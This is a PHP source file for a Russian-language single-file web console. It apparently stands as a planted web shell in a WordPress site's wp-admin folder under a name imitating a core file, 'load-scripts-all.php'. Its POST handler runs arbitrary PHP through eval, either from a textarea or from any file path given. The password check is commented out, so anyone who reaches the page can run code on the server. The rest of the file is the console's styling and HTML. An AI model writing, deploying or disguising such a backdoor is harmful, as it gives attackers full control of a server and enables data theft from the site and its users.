File: /home/theparlor/public_html/wp-admin/load-scripts-all.php
<?php
/**
* Minimal PHP Web Console (single file)
*
* ВАЖНО: Никогда не оставляйте этот файл на публичном сервере.
* Доступ к консоли даёт полный контроль над сервером.
*/
// Можно включить простейшую защиту паролем (раскомментируй и задай пароль)
// $password = 'change_me';
// if (!isset($_GET['key']) || $_GET['key'] !== $password) {
// http_response_code(403);
// echo 'Forbidden';
// exit;
// }
mb_internal_encoding('UTF-8');
$code = '';
$filePathInput = '';
$resultOutput = '';
$errorOutput = '';
$returnOutput = '';
$execTime = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$code = isset($_POST['code']) ? (string)$_POST['code'] : '';
$filePathInput = isset($_POST['file_path']) ? (string)$_POST['file_path'] : '';
try {
// Если указан путь к файлу — берём код из файла
if (trim($filePathInput) !== '') {
$relativePath = ltrim($filePathInput, "/\\");
$absolutePath = rtrim(__DIR__, "/\\") . DIRECTORY_SEPARATOR . $relativePath;
if (!file_exists($absolutePath) || !is_file($absolutePath)) {
throw new RuntimeException("Файл не найден: {$relativePath}");
}
$fileContents = file_get_contents($absolutePath);
if ($fileContents === false) {
throw new RuntimeException("Не удалось прочитать файл: {$relativePath}");
}
$code = $fileContents;
}
if (trim($code) === '') {
throw new RuntimeException('Код пустой.');
}
// Уберём открывающий тег PHP, если он есть
$codeToEval = preg_replace('/^\s*<\?(php)?/i', '', $code);
$start = microtime(true);
// Перехватываем вывод
ob_start();
// Локальная функция для изоляции eval
$evaluator = function () use ($codeToEval) {
// Доступны $__code (исходный код) и $__file (если пришёл из файла)
$__code = $codeToEval;
$__file = isset($_POST['file_path']) ? (string)$_POST['file_path'] : null;
// Выполняем код и возвращаем значение последнего выражения/return
return eval($codeToEval);
};
$returnValue = $evaluator();
$output = ob_get_contents();
ob_end_clean();
$execTime = microtime(true) - $start;
if ($output !== '') {
$resultOutput = $output;
}
if (isset($returnValue)) {
// Красиво отформатируем возвращаемое значение
$returnOutput = var_export($returnValue, true);
}
} catch (Throwable $e) {
if (ob_get_level() > 0) {
ob_end_clean();
}
$errorOutput = $e->getMessage() . "\n\n" . $e->getTraceAsString();
}
}
function h($value)
{
return htmlspecialchars((string)$value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<title>PHP Console</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
:root {
--bg: #121212;
--bg-alt: #181818;
--border: #2a2a2a;
--text: #f5f5f5;
--muted: #aaaaaa;
--accent: #3f8cff;
--accent-soft: rgba(63,140,255,0.15);
--error: #ff4d4f;
--success: #52c41a;
--radius: 6px;
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
--font-sans: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
}
* {
box-sizing: border-box;
}
body {
margin: 0;
min-height: 100vh;
background: radial-gradient(circle at top, #1f1f1f 0, #050505 60%);
color: var(--text);
font-family: var(--font-sans);
display: flex;
align-items: stretch;
justify-content: center;
}
.page {
width: 100%;
max-width: 1200px;
margin: 24px;
background: rgba(10, 10, 10, 0.95);
border: 1px solid var(--border);
border-radius: 10px;
box-shadow: 0 18px 45px rgba(0, 0, 0, 0.75);
display: flex;
flex-direction: column;
overflow: hidden;
}
.header {
padding: 16px 20px;
border-bottom: 1px solid var(--border);
display: flex;
justify-content: space-between;
align-items: baseline;
gap: 12px;
}
.title {
font-size: 18px;
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
}
.subtitle {
font-size: 12px;
color: var(--muted);
}
.badge {
padding: 2px 8px;
border-radius: 999px;
border: 1px solid var(--border);
font-size: 11px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: var(--muted);
}
.content {
display: grid;
grid-template-columns: minmax(0, 1.2fr) minmax(0, 1fr);
gap: 0;
}
@media (max-width: 900px) {
.content {
grid-template-columns: 1fr;
}
}
.panel {
padding: 16px 18px 18px;
}
.panel + .panel {
border-left: 1px solid var(--border);
}
@media (max-width: 900px) {
.panel + .panel {
border-left: none;
border-top: 1px solid var(--border);
}
}
.field-label {
font-size: 12px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: var(--muted);
margin-bottom: 6px;
}
.field-sub {
font-size: 11px;
color: var(--muted);
margin-bottom: 10px;
}
textarea,
input[type="text"] {
width: 100%;
background: var(--bg-alt);
border-radius: var(--radius);
border: 1px solid var(--border);
color: var(--text);
font-family: var(--font-mono);
font-size: 13px;
padding: 8px 10px;
outline: none;
resize: vertical;
}
textarea:focus,
input[type="text"]:focus {
border-color: var(--accent);
box-shadow: 0 0 0 1px var(--accent-soft);
}
textarea {
min-height: 260px;
line-height: 1.5;
}
.input-row {
display: flex;
gap: 10px;
align-items: center;
margin: 10px 0 16px;
}
.input-row input[type="text"] {
flex: 1;
}
.helper {
font-size: 11px;
color: var(--muted);
}
.controls {
display: flex;
justify-content: space-between;
align-items: center;
margin-top: 10px;
gap: 10px;
}
.buttons {
display: flex;
gap: 8px;
}
button {
appearance: none;
border: none;
border-radius: var(--radius);
padding: 7px 16px;
font-size: 13px;
font-weight: 500;
letter-spacing: 0.04em;
text-transform: uppercase;
cursor: pointer;
transition: background 0.15s ease, transform 0.05s ease, box-shadow 0.15s ease;
}
.btn-primary {
background: var(--accent);
color: #fff;
box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.4), 0 8px 18px rgba(0, 0, 0, 0.7);
}
.btn-primary:hover {
background: #5b9dff;
transform: translateY(-1px);
}
.btn-secondary {
background: transparent;
color: var(--muted);
border: 1px solid var(--border);
}
.btn-secondary:hover {
border-color: var(--accent);
color: var(--accent);
}
.meta {
font-size: 11px;
color: var(--muted);
}
.meta span {
margin-right: 12px;
}
.meta-ok {
color: var(--success);
}
.meta-error {
color: var(--error);
}
.section {
margin-bottom: 14px;
}
.section-title {
font-size: 12px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: var(--muted);
margin-bottom: 6px;
}
.output-box {
background: var(--bg-alt);
border-radius: var(--radius);
border: 1px solid var(--border);
padding: 8px 10px;
font-family: var(--font-mono);
font-size: 12px;
max-height: 260px;
overflow: auto;
white-space: pre-wrap;
word-break: break-word;
}
.output-box.empty {
color: var(--muted);
font-style: italic;
}
.error-box {
border-color: var(--error);
}
.badge-small {
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: var(--muted);
border-radius: 999px;
border: 1px solid var(--border);
padding: 1px 6px;
}
</style>
</head>
<body>
<div class="page">
<div class="header">
<div>
<div class="title">PHP Console</div>
<div class="subtitle">Однофайловая веб-консоль для выполнения PHP-кода и файлов</div>
</div>
<div class="badge">Single File • Eval-Based</div>
</div>
<form method="post" class="content" autocomplete="off">
<div class="panel">
<div class="field-label">Код</div>
<div class="field-sub">Можно писать PHP без тега <code><?php</code>, или загрузить из файла ниже.</div>
<textarea name="code" spellcheck="false"><?php echo h($code); ?></textarea>
<div class="input-row">
<input type="text"
name="file_path"
placeholder="Например: wp-content/uploads/script.php"
value="<?php echo h($filePathInput); ?>">
<span class="badge-small">Файл</span>
</div>
<div class="helper">
Путь указывается <strong>от корня сайта</strong> (где лежит этот файл).
Если путь задан, выполняется содержимое файла.
</div>
<div class="controls">
<div class="buttons">
<button type="submit" class="btn-primary">Выполнить</button>
<button type="submit" name="clear" value="1" class="btn-secondary"
onclick="document.querySelector('textarea[name=code]').value='';document.querySelector('input[name=file_path]').value='';">
Очистить
</button>
</div>
<div class="meta">
<?php if ($execTime !== null): ?>
<span class="meta-ok">Время: <?php echo h(number_format($execTime, 4)); ?> c</span>
<?php endif; ?>
<span>PHP <?php echo h(PHP_VERSION); ?></span>
</div>
</div>
</div>
<div class="panel">
<div class="section">
<div class="section-title">Вывод (echo, print и т.п.)</div>
<div class="output-box<?php echo $resultOutput === '' ? ' empty' : ''; ?>">
<?php echo $resultOutput === '' ? 'Пока ничего не выполнено.' : h($resultOutput); ?>
</div>
</div>
<div class="section">
<div class="section-title">Возвращаемое значение (return)</div>
<div class="output-box<?php echo $returnOutput === '' ? ' empty' : ''; ?>">
<?php echo $returnOutput === '' ? 'Нет возвращаемого значения или оно равно null.' : h($returnOutput); ?>
</div>
</div>
<div class="section">
<div class="section-title">Ошибки</div>
<div class="output-box<?php echo $errorOutput === '' ? ' empty' : ' error-box'; ?>">
<?php echo $errorOutput === '' ? 'Ошибок нет.' : h($errorOutput); ?>
</div>
</div>
</div>
</form>
</div>
</body>
</html>